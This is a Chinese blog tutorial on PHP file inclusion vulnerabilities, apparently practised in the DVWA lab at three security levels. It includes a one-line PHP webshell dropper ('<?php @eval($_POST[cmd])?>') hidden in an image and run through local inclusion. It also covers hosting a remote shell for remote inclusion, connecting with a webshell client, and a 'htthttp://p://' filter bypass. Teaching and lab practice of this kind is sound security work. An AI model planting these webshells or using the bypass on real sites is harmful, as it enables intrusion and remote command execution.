0x00 文件包含

 

 文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致文件读取和任意命令执行。

文件包含漏洞分为本地文件包含和远程文件包含,远程文件包含是因为开启了php配置中的allow_url_fopen选项(选项开启后,服务器允许包含一个远程文件);服务器通过PHP的特性去包含任意文件时,由于要包含的文件来源不严格,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  文件包含即程序通过(包含函数)调用本地或远程文件,以此实现拓展功能

  被包含的问津可以是各种格式,而当文件里面面包含恶意代码,则会形成远程命令执行或文件上传漏洞

  文件包含漏洞主要发生在有包含语句的环境中,;例如PHP具备的include、require等包含函数。

文件包含分为两类:

  本地文件包含(local file inclusion):当被包含的文件在服务器本地时,就形成本地文件包含;

  远程文件包含 (remote file inclusion):当被包含的文件在第三方服务器的时候,叫做远程文件包含;

 

 可以看一下vulnerabilities下的文件

 

 此时可以新建一个文本文件

 

 

 

 在地址栏更改URL可以打开这个文本文件;

我们再来试一下php文件是否可以打开

 

 我们创建了一个shell.php

 

 发现可以运行,里面的PHP函数;

下面。我们换成绝对路径;

 

 发现依然可以;

 

 

 文件包含本来是正常的,但是如果开发人员不小心,也存在漏洞;

 

 

 本地文件包含漏洞 LFI

 远程文件包含漏洞RFI

 

 0x01 文件包含漏洞 low

<?php

    $file = $_GET['page']; //The page we wish to display 

?>

 

 

 

 

发现,他对包含的任意文件都不进行限制,我们可以访问网站的各种敏感信息;

本地文件包含+webshell

1.制作一句话木马 ,像 yijuhua.jpg

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

2.上传图片木马文件

3.执行文件包含生成木马文件

4.通过菜刀连接webshell;

  制作:

  通过edjpgcom把生成木马的文件写入图片

  

 

 制作后把图片木马文件上传;

 

 到文件包含的地方运行

 

 

 

 发现已生成木马文件

接下来用菜刀连接

 

 成功连接!

 

 

 

远程文件包含:

Kali建立服务器:

开启Apache

 

 

 

 这时只有Apache的界面;

 

 

 

 

 

 

 发现已生成shell2.php

然后,接着用菜刀进行连接

 

 成功连接!

 

0x02 中安全级别的文件包含

 

 此时本地包含不受影响

而远程包含的http://被过滤

https://也被过滤

不过加入混淆

htthttp://p://

这样就行了

0x03 高安全级别:

 

 

基本不存在文件包含漏洞;

但开发者一般不这样干;

版权声明:本文为delongzhang原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/delongzhang/p/12206499.html